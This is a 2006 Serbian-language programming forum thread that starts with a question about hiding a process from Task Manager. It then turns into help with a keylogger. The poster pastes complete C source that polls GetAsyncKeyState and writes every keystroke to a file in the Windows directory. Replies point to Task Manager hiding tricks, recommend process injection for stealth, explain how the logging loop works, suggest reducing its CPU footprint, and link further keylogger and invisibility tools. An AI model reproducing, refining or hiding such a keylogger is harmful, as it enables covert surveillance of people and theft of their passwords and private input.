Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.

Kako sakriti proces od Task Managera?

[es] :: C/C++ programiranje :: Kako sakriti proces od Task Managera?

[ Pregleda: 3457 | Odgovora: 11 ] > FB > Twit

Postavi temu Odgovori

Autor

Pretraga teme: Traži
Markiranje Štampanje RSS

Mix5
Milos Djuric
STE, Asseco
Jagodina

Član broj: 14282
Poruke: 332
*.bitsyu.net.



Profil

icon Kako sakriti proces od Task Managera?18.09.2006. u 13:16 - pre 214 meseci
Kako sakriti proces od Task Managera?
 
Odgovor na temu

X Files
Vladimir Stefanovic
Pozarevac

SuperModerator
Član broj: 15100
Poruke: 4902
*.nat-pool.po.sbb.co.yu.

Jabber: xfiles@elitesecurity.org


+638 Profil

icon Re: Kako sakriti proces od Task Managera?18.09.2006. u 15:08 - pre 214 meseci
(RegisterServiceProcess)
http://programmerassist.com/question/367
http://www.codeproject.com/sys...0&exp=0&select=1611270

http://www.codeproject.com/system/Hack_Windows_Task_Manager.asp

 
Odgovor na temu

Nibble

Član broj: 63173
Poruke: 302
*.dlp242.bih.net.ba.



+1 Profil

icon Re: Kako sakriti proces od Task Managera?18.09.2006. u 15:26 - pre 214 meseci
Ovo ti je "slabo" rijesenje za keyloger jer procxp bi vidio ovaj proces.Ako hoces nesto bolje i pametnije trazi neke primjere u vezi process inject-inga(mada i to je matoro ali ima naravno novih nacina za to).
 
Odgovor na temu

Mix5
Milos Djuric
STE, Asseco
Jagodina

Član broj: 14282
Poruke: 332
*.bitsyu.net.



Profil

icon Re: Kako sakriti proces od Task Managera?18.09.2006. u 17:52 - pre 214 meseci
A koji su to novi nacini?
 
Odgovor na temu

Mix5
Milos Djuric
STE, Asseco
Jagodina

Član broj: 14282
Poruke: 332
*.bitsyu.net.



Profil

icon Re: Kako sakriti proces od Task Managera?18.09.2006. u 20:31 - pre 214 meseci
Nasao sam sledeci kod za keylogger
Code:
#include <stdio.h>
#include <windows.h>
#include <Winuser.h>

void keys(int key,char *file)
{

FILE *key_file;

key_file = fopen(file,"a+");



if (key==8)

fprintf(key_file,"%s","[del]");

if (key==13)

fprintf(key_file,"%s","\n");

if (key==32)

fprintf(key_file,"%s"," ");

if (key==VK_CAPITAL)

fprintf(key_file,"%s","[Caps]");

if (key==VK_TAB)

fprintf(key_file,"%s","[TAB]");

if (key ==VK_SHIFT)

fprintf(key_file,"%s","[SHIFT]");

if (key ==VK_CONTROL)

fprintf(key_file,"%s","[CTRL]");

if (key ==VK_PAUSE)

fprintf(key_file,"%s","[PAUSE]");

if (key ==VK_KANA)

fprintf(key_file,"%s","[Kana]");

if (key ==VK_ESCAPE)

fprintf(key_file,"%s","[ESC]");

if (key ==VK_END)

fprintf(key_file,"%s","[END]");

if (key==VK_HOME)

fprintf(key_file,"%s","[HOME]");

if (key ==VK_LEFT)

fprintf(key_file,"%s","[LEFT]");

if (key ==VK_UP)

fprintf(key_file,"%s","[UP]");

if (key ==VK_RIGHT)

fprintf(key_file,"%s","[RIGHT]");

if (key ==VK_DOWN)

fprintf(key_file,"%s","[DOWN]");

if (key ==VK_SNAPSHOT)

fprintf(key_file,"%s","[PRINT]");

if (key ==VK_NUMLOCK)

fprintf(key_file,"%s","[NUM LOCK]");

if (key ==190 || key==110)

fprintf(key_file,"%s",".");

if (key >=96 && key <= 105){

key = key - 48;

fprintf(key_file,"%s",&key);

}

if (key >=48 && key <= 59)

fprintf(key_file,"%s",&key);



if (key !=VK_LBUTTON || key !=VK_RBUTTON){

if (key >=65 && key <=90){

if (GetKeyState(VK_CAPITAL))
     
fprintf(key_file,"%s",&key);
else

{

key = key +32;

fprintf(key_file,"%s",&key);

}
}

}

fclose(key_file);

}

int main()
{

char i;

char test[MAX_PATH];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");

    while(1)
    {
        for(i=8;i<=190;i++)
        {
            if (GetAsyncKeyState(i) == -32767)
            {
                keys (i,test);
            }
        }
    }
}

Sta radi funkcija GetAsyncKeyState(i) i zasto se ispituje uslov
Code:
if (GetAsyncKeyState(i) == -32767)"
?
Zasto ova for petlja?

Posto je petlja while beskonacna opterecenje procesora je konstantno 100%.
Kako da prekinem petlju dok se ne pritisne nesto na tastaturi? Probao sam sa while(!kbhit()); ali i to mi ne pomaze je se u principu svodi na jedno te isto.

Ovi linkovi mi nisu bas od pomoci jer ne znam windows programiranje a pogotovu ne Delphi itd.
 
Odgovor na temu

X Files
Vladimir Stefanovic
Pozarevac

SuperModerator
Član broj: 15100
Poruke: 4902
*.nat-pool.po.sbb.co.yu.

Jabber: xfiles@elitesecurity.org


+638 Profil

icon Re: Kako sakriti proces od Task Managera?19.09.2006. u 19:08 - pre 214 meseci
Citat:

Sta radi funkcija GetAsyncKeyState(i) i zasto se ispituje uslov
if (GetAsyncKeyState(i) == -32767)"




If the most significant bit is set, the key is down, and if the least significant bit is set,
the key was pressed after the previous call to GetAsyncKeyState.



Citat:

Zasto ova for petlja?

Kako, zašto...?! Zato što se i dalje ne zna KOJI je taster pritisnut.

Zna se samo da je odradio GetAsyncKeyState()



The GetAsyncKeyState function determines whether a key is up or down
at the time the function is called, and whether the key was pressed after
a previous call to GetAsyncKeyState.



Citat:

Posto je petlja while beskonacna opterecenje procesora je konstantno 100%.
Kako da prekinem petlju dok se ne pritisne nesto na tastaturi? Probao sam sa
while(!kbhit()); ali i to mi ne pomaze je se u principu svodi na jedno te isto.

Ne mozes da prekidas petlju. U tome i jeste fora, Windows je Message baziran.

Dovoljno je da stavis neki minimalan Sleep(), i merenje zauzetosti procesora ce pasti,
ioanko to nije realna vrednost.

 
Odgovor na temu

Mix5
Milos Djuric
STE, Asseco
Jagodina

Član broj: 14282
Poruke: 332
*.bitsyu.net.



Profil

icon Re: Kako sakriti proces od Task Managera?20.09.2006. u 15:39 - pre 214 meseci
Zbog cega je
Code:
if (key == 8) fprintf(file,"%s","[del]")

a ne
Code:
if (key == 127)
jer po ascii kodu del je 127?
 
Odgovor na temu

X Files
Vladimir Stefanovic
Pozarevac

SuperModerator
Član broj: 15100
Poruke: 4902
*.nat-pool.po.sbb.co.yu.

Jabber: xfiles@elitesecurity.org


+638 Profil

icon Re: Kako sakriti proces od Task Managera?20.09.2006. u 16:51 - pre 214 meseci
Ne znam sta da ti kazem... Nisam detaljno gledao ali VK_DELETE je za DEL.

Mozda pogledaj neki bolji primer:
http://www.irongeek.com/i.php?page=security/keylogger
 
Odgovor na temu

Mix5
Milos Djuric
STE, Asseco
Jagodina

Član broj: 14282
Poruke: 332
*.bitsyu.net.



Profil

icon Re: Kako sakriti proces od Task Managera?20.09.2006. u 18:52 - pre 214 meseci
Nasao sam u winuser.h da je VK_DELETE 8, ali kako da znam sta su brojevi, sta mala a sta velika slova?
 
Odgovor na temu

Mix5
Milos Djuric
STE, Asseco
Jagodina

Član broj: 14282
Poruke: 332
*.bitsyu.net.



Profil

icon Re: Kako sakriti proces od Task Managera?20.09.2006. u 22:18 - pre 214 meseci
@X Files

Meni je ovo za for mnogo nelogicno.
Posto sam dodao linije

Code:

if(key == VK_RBUTTON) fprintf(key_file,"%s","[R.C]");


zasto mi onda upisuje [R.C] u fajl ako for petlja pocinje od 8 a u winuser.h je
Code:
#define VK_RBUTTON    2




[Ovu poruku je menjao Mix5 dana 21.09.2006. u 19:41 GMT+1]
 
Odgovor na temu

Mix5
Milos Djuric
STE, Asseco
Jagodina

Član broj: 14282
Poruke: 332
*.bitsyu.net.



Profil

icon Re: Kako sakriti proces od Task Managera?22.09.2006. u 14:46 - pre 214 meseci
Nije valjda da bas niko nezna!!!
 
Odgovor na temu

sasaas

Član broj: 79793
Poruke: 3
*.ptt.yu.



Profil

icon Re: Kako sakriti proces od Task Managera?02.10.2006. u 08:30 - pre 213 meseci
prelistaj www.wasm.ru i potrazi invisibility.zip
 
Odgovor na temu

[es] :: C/C++ programiranje :: Kako sakriti proces od Task Managera?

[ Pregleda: 3457 | Odgovora: 11 ] > FB > Twit

Postavi temu Odgovori

Navigacija
Lista poslednjih: 16, 32, 64, 128 poruka.